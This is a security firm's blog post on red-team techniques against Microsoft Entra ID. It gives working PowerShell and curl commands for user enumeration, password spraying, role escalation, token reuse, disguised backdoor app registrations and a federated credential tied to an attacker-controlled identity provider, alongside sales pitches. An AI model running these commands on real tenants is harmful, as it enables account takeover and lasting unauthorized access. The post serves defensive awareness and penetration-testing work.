Microsoft Entra ID, formerly known as Azure Active Directory (Azure AD), is the backbone of identity and access management for millions of organizations running Microsoft 365, Azure, and hybrid environments. It manages authentication, authorization, conditional access, and role assignments across the entire Microsoft ecosystem.
For attackers, Entra ID is a goldmine. Compromise a single privileged identity, and you potentially own an entire organization's cloud infrastructure, email, SharePoint, DevOps pipelines, and more. Unlike on-premises Active Directory, Entra ID operates at scale across tenants, making misconfigurations dangerously easy to miss and devastatingly easy to exploit.
This blog breaks down real-world attack techniques used during red team engagements, covering initial access, privilege escalation, and persistence within Entra ID environments. If your organization relies on Microsoft cloud services and has never tested these attack paths, you are likely exposed.
If you want professionals to test these attack surfaces before real adversaries do, get in touch with Redfox Cybersecurity's pentesting team.
Before any exploitation begins, attackers gather intelligence on the target tenant. Microsoft's public-facing endpoints expose a surprising amount of metadata without requiring authentication.
# Enumerate tenant information using the OpenID configuration endpoint
curl https://login.microsoftonline.com/<target-domain>/.well-known/openid-configuration
# Check if a domain is federated or managed
curl https://login.microsoftonline.com/getuserrealm.srf?login=user@targetdomain.com&xml=1
[cta]
From this, attackers can determine whether the tenant uses federated identity (ADFS, Okta, Ping) or managed authentication, which shapes the attack path significantly.
The login endpoint at login.microsoftonline.com returns different HTTP responses based on whether an account exists. Tools like AADInternals and o365creeper automate this:
# Using AADInternals to check if users exist in a tenant
Import-Module AADInternals
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@targetdomain.com"
[cta]
This allows attackers to build a valid user list before launching credential attacks, significantly improving success rates.
Password spraying avoids account lockouts by testing one common password across many accounts. Tools like MSOLSpray and Spray365 are built specifically for Microsoft environments:
# Using MSOLSpray for password spraying
git clone https://github.com/dafthack/MSOLSpray
Import-Module .\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password "Winter2024!" -Verbose
[cta]
Attackers often combine this with harvested usernames and seasonally common passwords. A single successful hit on a Global Administrator account can lead to full tenant compromise.
Service principals in Entra ID act as application identities. Many organizations grant service principals excessive permissions, including RoleManagement.ReadWrite.Directory or AppRoleAssignment.ReadWrite.All, without realizing what that enables.
An attacker with control of such a service principal can assign themselves Global Administrator:
# Using Az PowerShell to assign a privileged role to an attacker-controlled account
Connect-AzAccount
$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Add-AzureADDirectoryRoleMember -ObjectId $role.ObjectId -RefObjectId <attacker-user-object-id>
[cta]
This technique is particularly effective in environments where developers have provisioned overprivileged app registrations for automation and CI/CD pipelines.
A critical distinction that many organizations overlook is the difference between application permissions and delegated permissions. Application permissions operate without a signed-in user, meaning a compromised app registration with Mail.Read application permission can read every mailbox in the tenant silently.
During a red team engagement, finding an exposed client secret for such an app registration is a critical finding:
# Authenticating as a service principal using client credentials
curl -X POST https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token \
-d "client_id=<app-id>&client_secret=<secret>&scope=https://graph.microsoft.com/.default&grant_type=client_credentials"
[cta]
Once a token is obtained, the Microsoft Graph API opens up a wide attack surface, from reading emails to creating new users.
Organizations often implement Privileged Identity Management to require approval or justification before activating high-privilege roles. However, misconfigurations are common:
An attacker who has compromised an account eligible for a privileged role can self-activate it:
# Activating a PIM-eligible role using Microsoft Graph
$body = @{
action = "selfActivate"
principalId = "<user-object-id>"
roleDefinitionId = "<role-definition-id>"
directoryScopeId = "/"
justification = "Routine administrative task"
scheduleInfo = @{
startDateTime = (Get-Date).ToUniversalTime().ToString("o")
expiration = @{ type = "AfterDuration"; duration = "PT8H" }
}
}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests" `
-Method POST -Headers @{Authorization="Bearer $token"} -Body ($body | ConvertTo-Json -Depth 5) -ContentType "application/json"
[cta]
If your PIM configuration has never been stress-tested, it may be granting privileges with no real barrier. Redfox Cybersecurity offers cloud pentesting services that specifically audit PIM configurations and role assignment policies.
Modern Entra ID attacks increasingly target access tokens rather than passwords. If an attacker can steal a valid access token, MFA becomes irrelevant since the token is already authenticated.
Tools like TokenTactics and ROADtools are used in red team engagements to demonstrate token abuse:
# Using TokenTactics to refresh and reuse tokens
Import-Module TokenTactics
Get-AzureToken -Client MSTeams
Invoke-RefreshToMSGraphToken -domain targetdomain.com -refreshToken <stolen-refresh-token>
[cta]
Token theft commonly occurs via phishing (especially adversary-in-the-middle phishing using Evilginx2 or Modlishka), malware on endpoints, or exposure of tokens in environment variables, code repositories, and logs.
Dynamic groups in Entra ID automatically add members based on attributes like department, job title, or custom extension attributes. If those attributes can be modified by a compromised user or service principal, an attacker can manipulate group membership to gain access to sensitive resources.
Similarly, conditional access policies often have gaps: exclusions for break-glass accounts, trusted IP ranges that include VPN exit nodes accessible to attackers, or legacy authentication protocols left enabled.
# Enumerating conditional access policies via Graph API
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" `
-Headers @{Authorization="Bearer $token"}
[cta]
Identifying policy gaps is often one of the highest-value findings in a cloud red team engagement.
Once attackers have Global Administrator or Application Administrator access, they can register a new application and grant it tenant-wide permissions, creating a persistent backdoor that survives password resets:
# Create a new app registration with a long-lived credential
$app = New-AzureADApplication -DisplayName "DiagnosticsConnector"
$secret = New-AzureADApplicationPasswordCredential -ObjectId $app.ObjectId -CustomKeyIdentifier "backup" -EndDate (Get-Date).AddYears(2)
# Grant admin consent for high-privilege Graph permissions programmatically
$sp = New-AzureADServicePrincipal -AppId $app.AppId
[cta]
The application name is intentionally chosen to blend in with legitimate enterprise applications. Many organizations have hundreds of registered apps and rarely audit them.
Entra ID supports federated identity credentials for workload identity federation. Attackers with sufficient permissions can add a federated credential to an existing high-privilege service principal, linking it to an external identity provider they control:
# Adding a federated credential to a service principal via Graph
$body = @{
name = "deploy-pipeline-prod"
issuer = "https://attacker-controlled-idp.com"
subject = "attacker-controlled-subject"
audiences = @("api://AzureADTokenExchange")
}
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/applications/<app-object-id>/federatedIdentityCredentials" `
-Method POST -Headers @{Authorization="Bearer $token"} -Body ($body | ConvertTo-Json) -ContentType "application/json"
[cta]
This technique is subtle because it doesn't require managing a client secret. The attacker simply exchanges a token from their controlled IDP for a Microsoft token, maintaining persistent access without any credential that could be rotated.
Rather than creating new applications, attackers can add credentials to existing high-privilege service principals, which makes detection even harder since the principal itself looks legitimate:
# Add a new client secret to an existing service principal
New-AzureADServicePrincipalPasswordCredential -ObjectId <target-sp-object-id> `
-CustomKeyIdentifier "azure-health-check" -EndDate (Get-Date).AddYears(1)
[cta]
This is a widely observed post-compromise persistence technique seen in nation-state attacks against Microsoft environments, including the well-documented Solorigate/Nobelium campaign.
Entra ID External Identities and cross-tenant access settings allow users from other tenants to access resources. Attackers who compromise a highly trusted external partner tenant can leverage this to maintain access even if the primary tenant's credentials are fully revoked:
# Enumerate cross-tenant access policies
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/policies/crossTenantAccessPolicy/partners" `
-Headers @{Authorization="Bearer $token"}
[cta]
Organizations rarely review their cross-tenant trust configurations, making this an underexplored persistence vector.
Understanding these techniques is only half the battle. Defenders need to implement controls that make exploitation measurably harder:
Implementing these controls without testing them is insufficient. Verified security requires adversarial validation. That is exactly what Redfox Cybersecurity's pentesting engagements are designed to provide.
Reading about attack techniques is valuable. Seeing them demonstrated live against your own environment is transformative. Many organizations believe they are protected because they have enabled MFA and purchased Entra ID P2 licenses, but the techniques above routinely succeed even in environments with these controls in place.
The difference between a secure Entra ID configuration and a vulnerable one often comes down to dozens of small decisions: which roles are permanently active, which apps have been granted admin consent, whether device compliance is actually enforced in conditional access, and whether refresh token lifetimes are appropriately scoped.
Redfox Cybersecurity's red team engagements simulate real adversary behavior across Entra ID and the broader Microsoft cloud ecosystem. The team assesses tenant enumeration risks, credential attack resilience, role configuration, application permission hygiene, conditional access policy gaps, and persistence opportunities. Findings are delivered with proof-of-concept attack chains and actionable remediation guidance mapped to the Microsoft Security Benchmark and MITRE ATT&CK for Cloud.
If your organization has not validated its Entra ID security posture through adversarial testing, the window before a real attacker does it for you is shorter than you think.
Engage Redfox Cybersecurity for a professional cloud and Entra ID penetration test today.
Entra ID is not inherently insecure, but its complexity, scale, and deep integration with business-critical services make it a high-value and frequently misconfigured target. Attackers do not need zero-days to compromise a tenant. They need misconfigurations, overprivileged identities, and unmonitored attack surfaces, all of which are common in real-world environments.
The techniques covered here represent a fraction of what skilled red teamers test during a full cloud engagement. From password spraying and token theft to backdoor app registrations and cross-tenant persistence, the attack surface is broad and constantly evolving as Microsoft ships new features.
Security teams should treat Entra ID with the same rigor as their crown-jewel on-premises infrastructure, and that means regular adversarial testing by specialists who understand both the platform and attacker tradecraft.
Start a conversation with Redfox Cybersecurity to learn how a structured red team engagement can harden your Entra ID environment against the attacks described above and beyond.
Redfox Cyber Security Inc.
8 The Green, Ste. A, Dover,
Delaware 19901,
United States.
.avif)
